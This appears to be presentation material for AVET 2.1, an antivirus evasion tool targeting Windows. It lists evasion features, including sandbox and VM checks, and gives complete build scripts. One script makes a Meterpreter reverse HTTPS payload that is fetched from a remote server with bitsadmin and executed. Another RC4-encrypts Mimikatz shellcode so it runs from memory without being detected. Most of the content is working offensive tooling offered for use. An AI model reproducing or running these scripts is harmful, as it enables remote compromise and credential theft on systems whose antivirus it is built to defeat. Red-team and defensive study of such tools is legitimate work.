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AVET 2.1

What & Why

When running a .exe file made with msfpayload & co, the file will often be recognized 
by antivirus software.

● AVET is an antivirus evasion tool targeting windows machines with executable files
● different kinds of input payloads can be used now: shellcode, exe and dlls
● more techniques available: shellcode/dll injection, process hollowing and more
● flexible retrieval methods for payload, decryption key, etc.



New Features in AVET 2.1

● added RC4 encoder/decoder
● pe_to_shellcode integration, which enables using .exe files as input by converting them into 

callable shellcode
● added ability to execute cmd/powershell command payloads at sample startup. these payloads 

are compatible with the built-in data retrieval methods.
● added static_from_here retrieval method to specify static inputs directly in the build script
● added ability to supply arguments for evasion techniques directly in the build script, e.g. 

specifying fopen file target
● added bitsadmin data retrieval method
● added environmental checks for sandbox evasion: checking VM MAC, number of CPU cores, 

checking VM registry keys
● example build scripts for new features
● general bugfixes and improvements



Demo 1

Meterpreter obfuscation, download with bitsadmin.exe



./build/build_downloadbitsadmin_mtrprtrxor_revhttps_win64.sh
#!/bin/bash 
# Downloads and executes 64-bit shellcode, using bitsadmin. Applies metasploit XOR 
encoding.

# The generated msf shellcode file needs to be hosted on a HTTP server
# Call the executable like:
# output.exe http://yourserver/thepayload.bin
# Downloads the payload to disk, then reads the file and executes the payload.

# print AVET logo
cat banner.txt

# include script containing the compiler var $win64_compiler
# you can edit the compiler in build/global_win64.sh
# or enter $win64_compiler="mycompiler" here
. build/global_win64.sh

# import feature construction interface
. build/feature_construction.sh

# import global default lhost and lport values from build/global_connect_config.sh
. build/global_connect_config.sh

# override connect-back settings here, if necessary
LPORT=$GLOBAL_LPORT
LHOST=$GLOBAL_LHOST

# make meterpreter reverse payload
msfvenom -p windows/x64/meterpreter/reverse_https lhost=$LHOST lport=$LPORT -e 
x64/xor -b '\x00' -f raw --platform Windows > output/thepayload.bin

# no command preexec
set_command_source no_data
set_command_exec no_command

# set shellcode source
set_payload_source download_bitsadmin

# set decoder and key source
set_decoder none
set_key_source no_data

# set payload info source
set_payload_info_source no_data

# set shellcode binding technique
set_payload_execution_method exec_shellcode64

# enable debug output
enable_debug_print to_file C:/users/public/avetdbg.txt

# compile
$win64_compiler -o output/output.exe source/avet.c -lwsock32 -
lWs2_32
strip output/output.exe

# cleanup
cleanup_techniques





Demo 2

Mimikatz encryption, key static in file



#!/bin/bash          
# RC4-encrypt the payload with a static, preset key.
# Here, the mimikatz executable is used as payload, converted into 
shellcode format by pe_to_shellcode.
# pe_to_shellcode is written by Hasherezade:
# https://github.com/hasherezade/pe_to_shellcode

# This script expects the Mimikatz executable to be at 
input/mimikatz.exe
# and the pe_to_shellcode executable to reside in a folder parallel to 
avet: ../pe_to_shellcode/pe2shc.exe

# Call generated executable on target like:
# output.exe 'your mimikatz arguments, probably coffee'

# print AVET logo
cat banner.txt

# include script containing the compiler var $win64_compiler
# you can edit the compiler in build/global_win64.sh
# or enter $win64_compiler="mycompiler" here
. build/global_win64.sh

# import feature construction interface
. build/feature_construction.sh

# convert mimikatz executable into shellcode format
wine ./../pe_to_shellcode/pe2shc.exe input/mimikatz.exe 
input/sc_raw.txt

# no command preexec
set_command_source no_data
set_command_exec no_command

# generate key file with preset key
generate_key preset aabbccdd1122 input/key_raw.txt

# encrypt payload
encode_payload rc4 input/sc_raw.txt input/sc_enc_raw.txt input/key_raw.txt

# convert encoded, raw payload into c format for static include
./tools/data_raw_to_c/data_raw_to_c input/sc_enc_raw.txt input/sc_enc_c.txt buf

# set payload source
set_payload_source static_from_file input/sc_enc_c.txt

# set decoder
set_decoder rc4

# convert key to c format and include statically
./tools/data_raw_to_c/data_raw_to_c input/key_raw.txt input/key_c.txt key
set_key_source static_from_file input/key_c.txt

# set payload info source
set_payload_info_source no_data

# set shellcode binding technique
set_payload_execution_method exec_shellcode64

# enable debug output
enable_debug_print

# compile to output.exe file
$win64_compiler -o output/output.exe source/avet.c
strip output/output.exe

# cleanup
cleanup_techniques



Running the build script
build/build_rc4enc_mimikatz_win64.sh





Demo 3

Mimikatz encryption, key argument on cmd



Build script 
(build_mimikatz_pe2shc_xorfromcmd_win64.sh) 
for obfuscating and executing Mimikatz from 
memory



Executing the obfuscated 
sample on target (Windows 10 
with McAfee) with encryption 
key



Links

https://github.com/govolution/avet

https://github.com/govolution/avetosx

https://github.com/tacticaljmp

https://github.com/Mr-Un1k0d3r/DKMC

https://github.com/m0n0ph1/Basic-File-Crypter

https://github.com/hasherezade/pe_to_shellcode

https://github.com/hasherezade/demos/

https://github.com/a0rtega/pafish

https://danielsauder.com
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